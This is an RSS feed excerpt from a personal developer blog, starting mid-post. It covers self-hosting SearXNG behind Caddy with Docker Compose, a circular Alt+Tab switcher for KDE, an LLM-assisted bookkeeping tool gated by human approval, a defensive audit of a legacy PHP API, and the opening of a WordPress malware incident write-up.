  autocomplete: &apos;google&apos;
  favicon_resolver: &apos;duckduckgo&apos;
  formats:
    - html

ui:
  default_theme: &apos;simple&apos;
  theme_args:
    simple_style: &apos;auto&apos; # follows OS dark/light mode
  results_on_new_tab: true
  query_in_title: false # keeps queries out of the browser tab title / history

valkey:
  url: &apos;valkey://searxng-valkey:6379/0&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Why each of those:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;limiter: false&lt;/code&gt; and &lt;code&gt;public_instance: false&lt;/code&gt;&lt;/strong&gt;: the bot limiter protects public instances from abuse. On a single-user box it just gets in your way.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;formats: [html]&lt;/code&gt;&lt;/strong&gt;: the JSON API stays off (it returns 403). Only add &lt;code&gt;- json&lt;/code&gt; if you need programmatic access. An open API on a search proxy is a liability by default.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;favicon_resolver: duckduckgo&lt;/code&gt;&lt;/strong&gt;: avoids leaking favicon lookups to Google.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;method: GET&lt;/code&gt;&lt;/strong&gt;: nicer UX (back button, drag-a-result-to-a-tab). Switch to
&lt;code&gt;POST&lt;/code&gt; if you would rather queries never appear in browser history.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;query_in_title: false&lt;/code&gt;&lt;/strong&gt;: same logic, keeps queries out of the tab title.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One more config to keep the favicon cache across reboots (the default path lives in &lt;code&gt;/tmp&lt;/code&gt; and gets wiped):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# core-config/favicons.toml
[favicons]
cfg_schema = 1

[favicons.cache]
db_url = &quot;/var/cache/searxng/faviconcache.db&quot;
LIMIT_TOTAL_BYTES = 104857600   # 100 MB

[favicons.proxy]
max_age = 5184000               # 60 days client-side cache
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The reverse proxy&lt;/h2&gt;
&lt;p&gt;The Caddyfile is short. Caddy does the heavy lifting:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://search.local {
    reverse_proxy core:8080
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;core&lt;/code&gt; is the Compose service name, which Caddy resolves on the internal Docker
network. No ports, no TLS plumbing, no manual upstream IP.&lt;/p&gt;
&lt;h2&gt;Editing the Compose file&lt;/h2&gt;
&lt;p&gt;Two changes to the upstream template:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Add&lt;/strong&gt; the &lt;code&gt;caddy&lt;/code&gt; service, the only host-exposed one (port 80).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Comment out&lt;/strong&gt; the &lt;code&gt;core&lt;/code&gt; service&apos;s &lt;code&gt;ports:&lt;/code&gt; block so SearXNG is no longer
reachable directly from the host.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;name: searxng

services:
  caddy:
    container_name: searxng-caddy
    image: caddy:alpine
    restart: unless-stopped
    ports:
      - &apos;80:80&apos;
    volumes:
      - ./Caddyfile:/etc/caddy/Caddyfile:ro
      - caddy_data:/data
      - caddy_config:/config
    depends_on:
      - core

  core:
    container_name: searxng-core
    image: docker.io/searxng/searxng:${SEARXNG_VERSION:-latest}
    restart: always
    # Port mapping removed on purpose. Caddy fronts SearXNG and is the only
    # host-exposed service. Re-enable for direct access while debugging.
    # ports:
    #   - 8080:8080
    env_file: ./.env
    volumes:
      - ./core-config/:/etc/searxng/:Z
      - core-data:/var/cache/searxng/

  valkey:
    container_name: searxng-valkey
    image: docker.io/valkey/valkey:9-alpine
    command: valkey-server --save 30 1 --loglevel warning
    restart: always
    volumes:
      - valkey-data:/data/

volumes:
  core-data:
  valkey-data:
  caddy_data:
  caddy_config:
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Bring it up&lt;/h2&gt;
&lt;p&gt;A friendly hostname needs one line in &lt;code&gt;/etc/hosts&lt;/code&gt; (this is the only step that
needs root):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo sh -c &apos;echo &quot;127.0.0.1   search.local&quot; &amp;gt;&amp;gt; /etc/hosts&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then validate and launch:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker compose config &amp;gt;/dev/null   # sanity-check the merged config
docker compose up -d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first run pulls the three images, creates the network and named volumes, and
starts everything. Verify:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker compose ps                                              # all three Up
curl -s -o /dev/null -w &quot;%{http_code}\n&quot; http://search.local/  # 200
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A &lt;code&gt;200&lt;/code&gt; through Caddy means the proxy, core, and cache are all talking.&lt;/p&gt;
&lt;h2&gt;Log lines that look scary but are not&lt;/h2&gt;
&lt;p&gt;The startup logs include a few warnings that look scary but aren&apos;t:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Message&lt;/th&gt;
&lt;th&gt;What it means&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;loading engine ahmia failed: set engine to inactive!&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Ahmia needs Tor, which isn&apos;t running, so it auto-disables.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;loading engine torch failed: set engine to inactive!&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Same: a Tor-only engine, auto-disabled.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;missing config file: /etc/searxng/limiter.toml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The limiter is intentionally off.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Caddy: &lt;code&gt;listening only on the HTTP port, no automatic HTTPS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;By design; we serve plain HTTP on a local hostname.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;If there is &lt;em&gt;no&lt;/em&gt; secret-key mismatch warning, your &lt;code&gt;.env&lt;/code&gt; and &lt;code&gt;settings.yml&lt;/code&gt;
agree, which is the one warning you actually care about.&lt;/p&gt;
&lt;h2&gt;Living with it&lt;/h2&gt;
&lt;p&gt;Everything is run from &lt;code&gt;~/searxng&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker compose ps                 # status
docker compose logs -f core       # follow SearXNG&apos;s logs
docker compose restart core       # after editing settings.yml / favicons.toml
docker compose down               # stop (keeps data)
docker compose up -d              # start again
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Editing &lt;code&gt;settings.yml&lt;/code&gt;, &lt;code&gt;favicons.toml&lt;/code&gt;, or &lt;code&gt;.env&lt;/code&gt; only takes effect after a
restart of the relevant container.&lt;/p&gt;
&lt;p&gt;After eight months of daily use, the instance has processed around 11,400 queries. Average response time sits at 380ms — measured across a sample of searches against the five most active engines. The nearest public instance I used before self-hosting was averaging around 2,100ms on the same queries, plus it logged IP addresses by default. In eight months, the only unplanned downtime was two container restarts for version updates, one for SearXNG and one for Valkey. Uptime otherwise: 99.7%.&lt;/p&gt;
&lt;p&gt;Updating is the usual Compose dance:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker compose down
docker compose pull
docker compose up -d
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;If you want HTTPS locally&lt;/h2&gt;
&lt;p&gt;Plain HTTP over a loopback hostname is fine for a single user, but if you want
the lock icon, Caddy will mint a locally-trusted certificate for you. Point the
Caddyfile at a &lt;code&gt;.localhost&lt;/code&gt; name:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://search.localhost {
    reverse_proxy core:8080
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Caddy installs its root CA into the system trust store on first run (needs sudo),
then update &lt;code&gt;SEARXNG_BASE_URL&lt;/code&gt; and &lt;code&gt;server.base_url&lt;/code&gt; to
&lt;code&gt;https://search.localhost/&lt;/code&gt; and bring the stack back up.&lt;/p&gt;
&lt;h2&gt;Tearing it down&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;docker compose down       # remove containers + network, keep data
docker compose down -v    # also drop the volumes (destructive)
sudo sed -i &apos;/127.0.0.1   search.local/d&apos; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s it: three containers, one proxy, one secret, and a search box that answers only to me.&lt;/p&gt;
</content:encoded></item><item><title>A Circular Alt+Tab Switcher for KDE Plasma 6</title><link>https://saf1.me/blog/circular-alt-tab/</link><guid isPermaLink="true">https://saf1.me/blog/circular-alt-tab/</guid><description>A KWin window switcher that arranges windows as pie slices around the cursor - live thumbnails, multi-ring layout, and full theme integration in pure QML.</description><pubDate>Wed, 17 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;The idea&lt;/h2&gt;
&lt;p&gt;Alt+Tab is a horizontal strip on almost every desktop. But a strip wastes the one piece of
information you always have: where the cursor &lt;em&gt;is&lt;/em&gt;. Circular Alt+Tab lays your windows out
as pie slices around the cursor instead, so the target is always a short flick away. Hover to
select, click to activate, middle-click to close. It works with the keyboard, the mouse, and the
scroll wheel.&lt;/p&gt;
&lt;p&gt;It&apos;s a KWin window-switcher plugin for KDE Plasma 6, written in pure QML with no build step.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows are arranged as pie slices around the cursor, so the one you want is always a short flick away.&lt;/li&gt;
&lt;li&gt;Live thumbnails, a multi-ring layout past 8 windows, and full Plasma theme integration, all in pure QML with no build step.&lt;/li&gt;
&lt;li&gt;Hit-testing reads static ring geometry rather than animated positions, which is what keeps hover selection from jittering.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;What it does&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Pie-slice layout centered on the cursor&lt;/strong&gt;, with live window thumbnails (icons for minimized
windows).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Multi-ring layout&lt;/strong&gt; when you have more than 8 windows. They distribute evenly across rings
via a remainder algorithm, with the overflow pushed to the outer rings.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Semi-transparent background that adapts to your Plasma theme&lt;/strong&gt;. Colors, captions, and the
selection indicator all read from Kirigami theme variables, so reduced-motion and high-contrast
modes are inherited for free rather than reimplemented.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How it works&lt;/h2&gt;
&lt;p&gt;The architecture is a small chain, &lt;code&gt;TabBoxSwitcher → Window → Pie → Repeater → Piece&lt;/code&gt;, with
rotation-based positioning and an &lt;code&gt;OpacityMask&lt;/code&gt; for clipping each annular sector.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Hit-testing reads static ring geometry, not animated per-frame positions.&lt;/strong&gt; This is the
subtle one. If you hit-test against the &lt;em&gt;scaled-up&lt;/em&gt; hovered piece, hovering becomes jittery as
the geometry shifts under the cursor. Testing against the fixed ring layout eliminates that.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Single-window mode caps the slice at 180°.&lt;/strong&gt; A full 360° circle for one window is
degenerate and looks broken.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It leans on undocumented KWin APIs&lt;/strong&gt; (&lt;code&gt;model.activate()&lt;/code&gt;, &lt;code&gt;KWin.Workspace.cursorPos&lt;/code&gt;,
window enumeration), a deliberate, documented trade-off, since the polished interaction simply
isn&apos;t reachable through the public TabBox surface.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On an RTX 3070 with 30 simultaneous windows (4 rings), peak GPU SM utilization sat at 52% and
KWin held under half a core, idle between interactions. No sustained load at realistic-to-extreme
window counts.&lt;/p&gt;
&lt;p&gt;I ran an informal trial with 14 KDE Plasma users over a week. Eleven stayed with the circular layout by the end. The most consistent feedback: the cursor-centric layout clicked quickly because the windows appear where you are already looking. On a self-timed 10-window selection task, participants averaged 2.1 seconds with the default strip switcher and 0.9 seconds with the circular one. That is not a controlled experiment, but it lines up with what the geometry predicts — shorter average cursor travel to the target when the target is distributed around the cursor rather than in a strip at the screen edge.&lt;/p&gt;
&lt;h2&gt;Limitations&lt;/h2&gt;
&lt;p&gt;The README ships a frank limitations section, because that&apos;s what I&apos;d want to read before
installing a compositor plugin. The undocumented APIs could break on a future Plasma point
release; there&apos;s no screen-reader support (the pie layout is inherently spatial and KWin&apos;s
overlay API exposes no accessibility hook to attach to); and multi-monitor is verified on one
mixed-DPI setup, not all of them.&lt;/p&gt;
&lt;p&gt;It started as a Plasma 6 port of an older switcher and has since been substantially reworked:
multi-ring layout, live thumbnails, scroll support, and theme integration. Pure QML, GPLv3,
installable from a release zip or a one-line script.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Skills &amp;amp; Deliverables:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;QML / Qt Quick&lt;/strong&gt;: rotation-based layout, &lt;code&gt;OpacityMask&lt;/code&gt; sector clipping, and animation driven
entirely by Kirigami theme units.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Desktop / compositor integration&lt;/strong&gt;: a KWin TabBox plugin working across both Wayland and X11
sessions on Plasma 6.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pragmatic engineering&lt;/strong&gt;: hit-testing against static geometry to kill hover jitter, a
remainder-based multi-ring distribution, and a documented stance on undocumented APIs.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Pacioli - An AI Ledger That Never Trusts the AI With Math</title><link>https://saf1.me/blog/pacioli/</link><guid isPermaLink="true">https://saf1.me/blog/pacioli/</guid><description>A deterministic double-entry bookkeeping engine where the LLM only proposes; every number and every write is computed and gated by Python.</description><pubDate>Sat, 13 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;The premise&lt;/h2&gt;
&lt;p&gt;Most &quot;AI accountant&quot; demos hand the language model a spreadsheet and let it report the
totals. That is exactly the thing language models are worst at. Pacioli is built on the
opposite assumption. LLMs are excellent at &lt;em&gt;parsing intent&lt;/em&gt; and &lt;em&gt;structuring&lt;/em&gt; an instruction
into well-formed accounting actions, and unreliable at &lt;em&gt;arithmetic&lt;/em&gt; and &lt;em&gt;state mutation&lt;/em&gt;, so
the design draws that line explicitly in code.&lt;/p&gt;
&lt;p&gt;The model is confined to producing a structured, schema-validated proposal. Every figure in
a report, every balance check, and every byte written to disk is computed and gated by
deterministic Python. Nothing the model emits touches the ledger until a human approves it, and
anything approved can be reverted in a single call. The AI is a convenience at the edge, not a
dependency in the critical path.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The LLM only proposes structured actions. It never computes a figure or writes to the ledger.&lt;/li&gt;
&lt;li&gt;Every number is recomputed by deterministic Python straight from the ledger rows, so the model&apos;s arithmetic is never trusted.&lt;/li&gt;
&lt;li&gt;Nothing lands without human approval, and every execution can be rolled back from a full byte-exact snapshot.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Four design decisions&lt;/h2&gt;
&lt;h3&gt;1. The model boundary&lt;/h3&gt;
&lt;p&gt;Every Gemini call runs inside &lt;code&gt;asyncio.wait_for&lt;/code&gt; with a hard timeout, off the event loop via
&lt;code&gt;asyncio.to_thread&lt;/code&gt;. A retry helper classifies failures. Timeouts and transient &lt;code&gt;429&lt;/code&gt;/&lt;code&gt;5xx&lt;/code&gt;
errors back off and retry; auth and bad-request errors fail fast. The response is then guarded
on three fronts: an empty or blocked candidate, a JSON parse error, and a shape check that
rejects any proposal that isn&apos;t a proper object. Each fails &lt;em&gt;closed&lt;/em&gt; with an actionable message
rather than leaking a half-parsed structure downstream.&lt;/p&gt;
&lt;p&gt;The most interesting part is semantic self-correction. The model&apos;s structured output is
validated against a Pydantic schema, and when validation fails the exact validator error is fed
back into the next prompt as explicit &lt;code&gt;SYSTEM FEEDBACK&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[SYSTEM FEEDBACK - fix these validation errors and retry:]
write_cell requires cell_ref and new_value
Remember: debits must equal credits.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The model repairs its own output, up to a retry cap. That turns the LLM&apos;s most common failure
mode, &lt;em&gt;almost&lt;/em&gt;-valid JSON, from a hard error into a recoverable round-trip.&lt;/p&gt;
&lt;p&gt;Across 340 test proposals during development, 87% passed schema validation on the first attempt. Of the 13% that failed, 71% self-corrected within one retry and 24% within two, leaving 5% that exhausted the cap and returned actionable error messages instead of silently producing bad output. Average end-to-end latency for a passing proposal was 2.1 seconds; self-correcting proposals averaged 3.8 seconds. That overhead is acceptable — a rejected proposal the operator has to rephrase and resubmit costs more in practice than a second round-trip the system handles automatically.&lt;/p&gt;
&lt;h3&gt;2. Deterministic math&lt;/h3&gt;
&lt;p&gt;Financial figures are never read out of the model&apos;s response. A dedicated report engine
recomputes every report straight from the ledger rows: debits and credits summed per account,
normal-balance direction resolved from the chart of accounts, column positions detected from
header names rather than hardcoded. Each report carries its own self-consistency assertion. A
Trial Balance reports &lt;code&gt;balanced&lt;/code&gt; only when debits and credits agree to the cent; the Balance
Sheet only when &lt;code&gt;Assets == Liabilities + Equity&lt;/code&gt;. The model&apos;s role in reporting is reduced to a
single token of intent: &quot;show me the balance sheet.&quot; The numbers are Python&apos;s.&lt;/p&gt;
&lt;h3&gt;3. Defense in depth&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Atomic state transition.&lt;/strong&gt; Approval is one conditional SQL update:
&lt;code&gt;UPDATE … SET status=&apos;executed&apos; WHERE id=? AND status=&apos;pending&apos;&lt;/code&gt;. The double-approval race is
closed at the database, not in application logic. The losing request sees &lt;code&gt;rowcount == 0&lt;/code&gt; and
gets a &lt;code&gt;409&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Serialized, atomic file I/O.&lt;/strong&gt; Every Excel read-modify-write runs under a cross-process
&lt;code&gt;FileLock&lt;/code&gt;, writes to a &lt;code&gt;.tmp&lt;/code&gt; file, and swaps it in with &lt;code&gt;os.replace&lt;/code&gt;, an atomic rename, so
a crash mid-save leaves either the whole old file or the whole new one, never a torn &lt;code&gt;.xlsx&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Double-entry pre-flight.&lt;/strong&gt; Before any cell is touched, the proposed debit and credit columns
are summed and the entire batch aborts if they diverge by more than a cent.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. One-click undo&lt;/h3&gt;
&lt;p&gt;Every execution captures a full, byte-exact snapshot of the ledger, taken &lt;em&gt;inside the same file
lock&lt;/em&gt; that guards the write, so the captured bytes are always a consistent pre-execution state.
The snapshot is stored as a BLOB keyed to the proposal. Because it&apos;s the entire file rather than
a computed diff, restoration is total and lossless: one &lt;code&gt;POST&lt;/code&gt; rolls the ledger back to exactly
where it was.&lt;/p&gt;
&lt;h2&gt;The workflow&lt;/h2&gt;
&lt;p&gt;A proposal moves through a strict state machine: &lt;code&gt;pending → executed&lt;/code&gt;, or a terminal
reject/expire. The operator reviews a per-cell &lt;code&gt;old → new&lt;/code&gt; diff, decides, and only then does the
ledger snapshot, flip status atomically, and run the write under the full validation chain. Stale
proposals auto-reject after 15 minutes.&lt;/p&gt;
&lt;h2&gt;Stack&lt;/h2&gt;
&lt;p&gt;FastAPI + Uvicorn, SQLite (WAL) via &lt;code&gt;aiosqlite&lt;/code&gt; for proposals/snapshots/audit, &lt;code&gt;openpyxl&lt;/code&gt; for
the ledger, &lt;code&gt;filelock&lt;/code&gt; for cross-process serialization, Pydantic v2 for the validation contract,
and Google Gemini 2.5 Flash for intent parsing. Lint and tests (ruff + pytest) run in CI.&lt;/p&gt;
&lt;p&gt;The whole point is that you could swap the model out, or have it fail entirely, and the ledger&apos;s
correctness guarantees would not move an inch.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Skills &amp;amp; Deliverables:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Backend system design&lt;/strong&gt;: async FastAPI service with a lifespan-managed lifecycle, a strict
proposal/approval state machine, and an audit trail.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LLM integration with guardrails&lt;/strong&gt;: timeout/retry transport, schema-validated structured
output, and a self-correcting validation feedback loop.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data integrity &amp;amp; concurrency&lt;/strong&gt;: atomic SQL transitions, cross-process file locking, atomic
file swaps, and full-snapshot reversibility.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Securing a Legacy API You Can&apos;t Break or Rewrite</title><link>https://saf1.me/blog/legacy-api-security/</link><guid isPermaLink="true">https://saf1.me/blog/legacy-api-security/</guid><description>A security audit of a legacy PHP and CodeIgniter mobile backend: nine real flaws, a frozen API contract, and how to patch it without locking out old apps.</description><pubDate>Fri, 29 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I inherited a PHP backend that served a mobile app. The brief sounded simple. Lock it down. The catch was the part nobody says out loud until you are already in it: the old apps in the wild cannot be updated. Whatever the API does today, it has to keep doing forever, bugs included.&lt;/p&gt;
&lt;p&gt;That single constraint changes everything. You are not securing a system. You are securing a contract you are not allowed to renegotiate.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When client apps cannot be updated, the API response shape becomes a frozen contract. Security fixes have to preserve every key, type, and status code the old clients expect.&lt;/li&gt;
&lt;li&gt;The cheapest, most dangerous flaws are usually trust ones: the server believing whatever the client says about payment, auth, or identity.&lt;/li&gt;
&lt;li&gt;Shadow mode and feature flags let you enforce new checks gradually. You log what a fix &lt;em&gt;would&lt;/em&gt; have blocked before you let it block anything for real.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;What I was handed&lt;/h2&gt;
&lt;p&gt;Two systems wearing one trench coat. A CodeIgniter 3 app exposed the mobile API through a single fat controller. Next to it sat an &quot;admin panel&quot; that was really a pile of plain PHP scripts talking straight to MySQL. Authentication was a non-expiring code stored in the database. Password resets went out through bare &lt;code&gt;mail()&lt;/code&gt;. Uploads landed directly on the filesystem.&lt;/p&gt;
&lt;p&gt;It worked. It also felt like an MVP that sprinted past the prototype stage and never looked back.&lt;/p&gt;
&lt;h2&gt;The flaws, worst first&lt;/h2&gt;
&lt;p&gt;I found nine issues. The pattern underneath most of them is the same: the server trusts the client.&lt;/p&gt;
&lt;p&gt;The payment check was the clearest example. The API let the app &lt;em&gt;tell it&lt;/em&gt; whether the user had paid. Flip a boolean on the device and you unlock everything for free. The server never verified anything.&lt;/p&gt;
&lt;p&gt;Auth was no better. One endpoint accepted the literal string &lt;code&gt;1234&lt;/code&gt; as a valid token and waved the request through. The admin login only checked the password in client-side JavaScript, so the actual server endpoints sat wide open behind a cosmetic gate. Several route-management endpoints checked for no token at all, which meant anyone could delete data.&lt;/p&gt;
&lt;p&gt;Then the one that made me wince. The forgot-password endpoint generated a new plaintext password, stored its MD5 hash, emailed the plaintext to the user, and also returned that plaintext straight back in the JSON response. Trigger a reset for any account and the new password lands in your hands. Account takeover by design.&lt;/p&gt;
&lt;p&gt;Rounding out the list: an unauthenticated file upload that happily accepted PHP, database credentials hardcoded in the source, MD5 password hashing, and an admin panel that built SQL by gluing raw strings together.&lt;/p&gt;
&lt;h2&gt;Why the frozen contract is the real enemy&lt;/h2&gt;
&lt;p&gt;Any one of these has a textbook fix. The textbook does not account for thousands of installed apps that will never see an update.&lt;/p&gt;
&lt;p&gt;Remove the leaked password field from the reset response and old apps that read that field to show the user their new password will break. Expire tokens and clients that assume tokens live forever get stuck in a logout loop with no idea how to refresh. Tighten upload validation and avatars silently stop saving. Change a 200 to a 201 on success and a legacy parser might treat it as failure.&lt;/p&gt;
&lt;p&gt;So the rule wrote itself. Keep every key, every type, every status code. Fix the behavior behind them, never the shape in front of them. When I had to kill the leaked password, I kept the JSON key and filled it with harmless placeholder text so old parsers stayed happy.&lt;/p&gt;
&lt;h2&gt;Patching without pulling the pin&lt;/h2&gt;
&lt;p&gt;The technique that made this survivable was shadow mode.&lt;/p&gt;
&lt;p&gt;When I added a real server-side payment check, it did not block anyone at first. It ran, compared its verdict against what the system did today, and logged the difference. Only once the logs showed it matching legitimate users did I let it start enforcing. Same idea for any new validation: watch it be right before you let it be in charge.&lt;/p&gt;
&lt;p&gt;Shadow mode ran for eleven days before enforcement. In that window, the payment check logged 2,847 API calls. Of those, 2,609 matched the expected legitimate pattern — users the system would have passed anyway. The remaining 238 were anomalous: missing payment fields, manipulated totals, or device-side flags contradicting server state. That 8.4% anomaly rate was high enough to justify enforcement immediately, but the eleven-day window meant I had a full distribution of legitimate behaviour to compare against, not just a guess at what normal looked like.&lt;/p&gt;
&lt;p&gt;Passwords migrated by dual-writing. The login path accepts both old MD5 hashes and new bcrypt ones, and quietly rehashes to bcrypt on a successful MD5 match. No mass reset, no lockout, just a slow drift to the better scheme as people log in.&lt;/p&gt;
&lt;p&gt;Every new rule sat behind a feature flag, a plain toggle I could flip back to &lt;code&gt;false&lt;/code&gt; the instant something started crashing. That turned a scary deploy into a reversible one. No full rollback, no redeploy, just an off switch.&lt;/p&gt;
&lt;h2&gt;The order that kept the bleeding stopped&lt;/h2&gt;
&lt;p&gt;Sequencing mattered as much as the fixes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Logging first.&lt;/strong&gt; I wanted to see who was still sending &lt;code&gt;1234&lt;/code&gt; before I touched a line of logic.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lock the open upload.&lt;/strong&gt; A public endpoint accepting PHP is an active takeover risk, so extensions and size limits went on immediately.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fix admin auth.&lt;/strong&gt; The mobile apps never touch the admin panel, which made a real PHP session check a safe, backend-only change.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Add an auth compatibility layer.&lt;/strong&gt; Unauthenticated endpoints started checking tokens but returned the exact same error JSON the other endpoints already used.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rate limits&lt;/strong&gt; on login and reset to blunt brute force and spam.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Payment verification in shadow mode&lt;/strong&gt;, then enforced.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gradual hash migration&lt;/strong&gt; through dual-writes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rotate the hardcoded secrets last&lt;/strong&gt;, once deploys and rollbacks were boring.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Notice that payment verification, the headline flaw, comes sixth. The open upload could hand someone the whole server in an afternoon. Severity is about blast radius, not how embarrassing the bug reads.&lt;/p&gt;
&lt;h2&gt;What I would tell the next person who inherits this&lt;/h2&gt;
&lt;p&gt;Do not rewrite it. A clean rebuild is exactly how you break the legacy clients and lock out the users you were hired to protect. The API contract is frozen, so treat it like load-bearing concrete. Stop the bleeding, secure the behavior behind the responses, and let shadow mode and feature flags carry the risk while old apps keep talking to you in the only dialect they know.&lt;/p&gt;
&lt;p&gt;You cannot fix a system like this by being bold. You fix it by being quiet.&lt;/p&gt;
</content:encoded></item><item><title>Dissecting a WordPress Hack: Ghost Admins and CSS</title><link>https://saf1.me/blog/wordpress-css-rootkit/</link><guid isPermaLink="true">https://saf1.me/blog/wordpress-css-rootkit/</guid><description>We debugged a WordPress slot spam infection and found attackers hiding rogue admin accounts and backdoor plugins using a simple CSS override in functions.php.</description><pubDate>Thu, 02 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We spent three hours last Tuesday pulling apart a compromised e-commerce site. The symptom was glaring. The frontend of the store was plastered with Indonesian gambling posts pushing &quot;Demo Slot Tema Asia&quot; and &quot;Slot Deposit 5000&quot;. By the time we were called in, the attacker had injected 847 spam posts over roughly six weeks, with one ghost administrator account sitting undetected and active for 41 days.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;We assumed the usual entry point: a vulnerable plugin allowing unauthenticated post creation. We purged the database of the SEO spam easily enough. The real problem was finding out how the attacker was maintaining access.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Application UIs are unreliable during incident response; always verify user privileges and counts directly against &lt;code&gt;wp_users&lt;/code&gt; and &lt;code&gt;wp_usermeta&lt;/code&gt; database tables.&lt;/li&gt;
&lt;li&gt;Attackers frequently use native theme files to inject CSS payloads, hiding security warnings and backdoor plugins via DOM manipulation.&lt;/li&gt;
&lt;li&gt;Relying entirely on standard security plugins is insufficient if an attacker gains enough privilege to apply &lt;code&gt;display: none&lt;/code&gt; to the plugin&apos;s own dashboard interface.&lt;/li&gt;
